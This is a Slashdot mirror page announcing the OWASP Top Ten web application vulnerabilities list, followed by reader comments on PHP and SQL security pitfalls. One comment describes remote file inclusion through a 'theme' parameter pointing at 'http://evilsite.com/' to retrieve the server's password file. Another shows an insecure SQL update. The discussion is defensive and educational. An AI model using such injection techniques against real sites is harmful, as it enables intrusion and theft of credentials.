Slashdot Mirror
Top 10 Vulnerabilities in Web Applications
sverrehu writes "The Open Web Application Security
Project (OWASP) has released a well-written document that is a
must read for every web programmer out there. This security document
is not about firewalls, encryption and patching. It's about common,
highly exploitable errors made by the application programmers. Pick
up your copy of "The Ten Most Critical Web Application Security
Vulnerabilities" from the OWASP web site."
The Open Web Application Security Project (OWASP) is dedicated to helping organizations understand and improve the security of their web applications and web services. This list was created to focus government and industry on the most serious of these vulnerabilities. Web application security vulnerabilities are highly exploitable and the consequence of an attack can be devastating. These vulnerabilities represent an equivalent magnitude of risk as network security problems, and should be given the same degree of attention.
Using this list, organizations can send a message to web site developers that "we want you to make sure that you won't make these mistakes." The security issues raised here are not new. In fact, some have been well understood for decades. Yet for some reason, major software development projects are still making these mistakes and jeopardizing not only their customers' security, but also the security of the entire Internet. You can download the entire report in PDF format here
Top Vulnerabilities in Web Applications
A1
Unvalidated Parameters
Information from web requests is not validated before being used by a web application. Attackers can use these flaws to attack backside components through a web application.
A2
Broken Access Control
Restrictions on what authenticated users are allowed to do are not properly enforced. Attackers can exploit these flaws to access other users' accounts, view sensitive files, or use unauthorized functions.
A3
Broken Account and Session Management
Account credentials and session tokens are not properly protected. Attackers that can compromise passwords, keys, session cookies, or other tokens can defeat authentication restrictions and assume other users' identities.
A4
Cross-Site Scripting (XSS) Flaws
The web application can be used as a mechanism to transport an attack to an end user's browser. A successful attack can disclose the end user's session token, attack the local machine, or spoof content to fool the user.
A5
Buffer Overflows
Web application components in some languages that do not properly validate input can be crashed and, in some cases, used to take control of a process. These components can include CGI, libraries, drivers, and web application server components.
A6
Command Injection Flaws
Web applications pass parameters when they access external systems or the local operating system. If an attacker can embed malicious commands in these parameters, the external system may execute those commands on behalf of the web application.
A7
Error Handling Problems
Error conditions that occur during normal operation are not handled properly. If an attacker can cause errors to occur that the web application does not handle, they can gain detailed system information, deny service, cause security mechanisms to fail, or crash the server.
A8
Insecure Use of Cryptography
Web applications frequently use cryptographic functions to protect information and credentials. These functions and the code to integrate them have proven difficult to code properly, frequently resulting in weak protection.
A9
Remote Administration Flaws
Many web applications allow administrators to access the site using a web interface. If these administrative functions are not very carefully protected, an attacker can gain full access to all aspects of a site.
A10
Web and Application Server Misconfiguration
Having a strong server configuration standard is critical to a secure web application. These servers have many configuration options that affect security and are not secure out of the box.
Press Release
Washington, D.C. -- A new report detailing the ten most critical web application security problems was unveiled today by the Open Web Application Security Project. OWASP is dedicated to helping organizations understand and improve the security of their web applications and web services. Download the report from the OWASP website at http://www.owasp.org.
"The OWASP Top Ten list shines a spotlight directly on one of the most serious and often overlooked risks facing government and commercial organizations," said Jeffrey Williams, CEO of web application security firm Aspect Security. "A stunning number of organizations spend big bucks securing the network and somehow forget about the applications."
These flaws are surprisingly common and can be exploited by unsophisticated attackers with easily available tools. When an organization deploys a web application, they invite the world to send HTTP requests. Attacks buried in these requests sail past firewalls, filters, platform hardening, SSL, and IDS without notice because they are inside legal HTTP requests. Therefore, web application code is part of the security perimeter and cannot be ignored.
"This list is an important development for consumers and vendors alike," said Stephen Christey, Mitre CVE editor. "It will educate vendors to avoid the same mistakes that have been repeated countless times in other web applications. But it also gives consumers a way of asking vendors to follow a minimum set of expectations for web application security and, just as importantly, to identify which vendors are not living up to those expectations"
"This 'Ten-Most-Wanting' List acutely scratches at the tip of an enormous iceberg," said Peter G. Neumann, moderator of the ACM Risks Forum. "The underlying reality is shameful: most system and Web application software is written oblivious to security principles, software engineering, operational implications, and indeed common sense."
The Open Web Application Security Project (OWASP) is an Open Source community project staffed entirely by volunteer experts from across the world. Project chair Mark Curphey said, "the OWASP Top Ten Project was formed to capture our collective wisdom and present it in a way that would bring the attention web application security deserves."
Questions or comments about the OWASP Top Ten should be sent to: topten@owasp.org
Here.
I believe hes referring to this construct.
.
a simple example of a bad include is
include($theme . "theme.php");
Basically is $theme isn't set then it uses some default theme, but alternate themese can be set in the url e.g.
webpage.php?theme=brushedmetal
now.....
the reason this can be dangerous is that php can include files across http urls so I could go to the page with a URL like
webpage.php?theme=http://evilsite.com/
and on evilsite.com have a theme.php file which does something like
So I get the password file spat back to me (obviously evilsite.com has to *not* run php otherwise you get the password file from evilsite.com).
Make sure you sanitise those path variables, and if you don't need it disable 'allow_url_fopen' to avoid offsite scripts being used but local files can still be manipulated. Also 'register_globals' stops the user specifying global variables which will also prevent this and other bugs
This only occurs if you have registered globals on and you don't initialize your own variables.
I.e. you can have registered globals on, just make sure you don't have any unset variables.
This is much more easily fixed if you just have registered globals off, then everything is in the $_GET, $_POST, and $_SESSION, etc arrays.
--------
Free your mind.
..Remember, Wall created $dbh->quote() to serve the faithful.
(Actually, I have no idea who did the DB stuff. The point is, use $dbh->quote(), damnit.)
No. Turns out we were stashing user-uploaded files as blobs in the DB, not as actual files in the webroot. If someone uploaded a PHP file, and then tried to view it, the server would set Content-Type as a JPG image, and the user would probably either see garbage or the actual PHP source.
Here's a quick and language independent example of how easy it is to miss a security hole in a web application: Say you've created a message board with the ability to edit posts. When a user clicks the edit button they get a form with a textarea to type in and the messageID as a hidden field. When they submit the form you do something like this in SQL:
UPDATE forum
SET comment = form.comment
WHERE messageID = form.messageID
Do you see the error there? I can edit the form to send a different messageID and change any comment I want. The solution?
WHERE messageID = form.messageID AND userID = cookie.userID
Because HTML is stateless, you have to authenticate the user on every hit and use that authenticated identity as part of every database action. How you do that is a subject unto itself!
At any rate, I just wanted to show how easy it is to introduce a serious security flaw into a web application. The only countermeasure is competent, careful coding.
The article is just a summary. If you want to know more check out: Hacking Web Solutions Exposed
Kind thoughts do not change the world
healyourchurchwebsite.com - WWJB?
XSS FAQ
It should also be noted OWASP RIPPED some of the content and DID NOT QUOTE it properly. Search for "What can I do to protect myself as a vendor?" in the FAQ and then search for XSS solutions in the owasp paper. Hrm seem familiar?
Indeed - it only occurs in those cases - but this is an awful lot of cases
phpBB 1 & 2,W-Agora,Active PHP Bookmarks,PHP Nuke, phpWebSite,phpshare,phpReactor......
It's all very well for you to act all knowledgeable, classify this as a sillly misytake and look down on those people making it - but that doesn't help make any software more secure - get out ther and educate people.
Love, secret, and sex. And don't forget God. System operators love to use God. It's that whole male ego thing.
Incorrect. This works even if evilsite.com is running PHP. The original site includes the output of the evil URL, so evilsite just needs to print a PHP script. This can be done in PHP code.
I don't trust user submitted data. Not from GET or POST. Where a variable has a finite set of possibilities, check what is submitted against that list. If it matches, proceed, otherwise abort or substitute a safe default if appropriate. Where you have no idea as to potential values, as in the body of a message or something, parse it for evil. Probably easiest to disallow html altogether, but if allowed, parse out any executable code, including from image tags.
Another problem with this - make sure that if you need uploads, that you filter out all
If you REALLY must use .inc, for whatever reason, then (for Apache 1.3/2):
... [other configuration crap]
.php .inc
... [more configuration crap]
.bak files generated by Access. Not that you would be using Apache in Windows, when there's that IIS thing :D
# begin httpd.conf
#
#
#
# treat *.inc the same as *.php and life will
# be fuzzy and warm
AddType application/x-httpd-php
AddType application/x-httpd-php
#
#
#
# end httpd.conf
I imagine you could do something similar to deny access to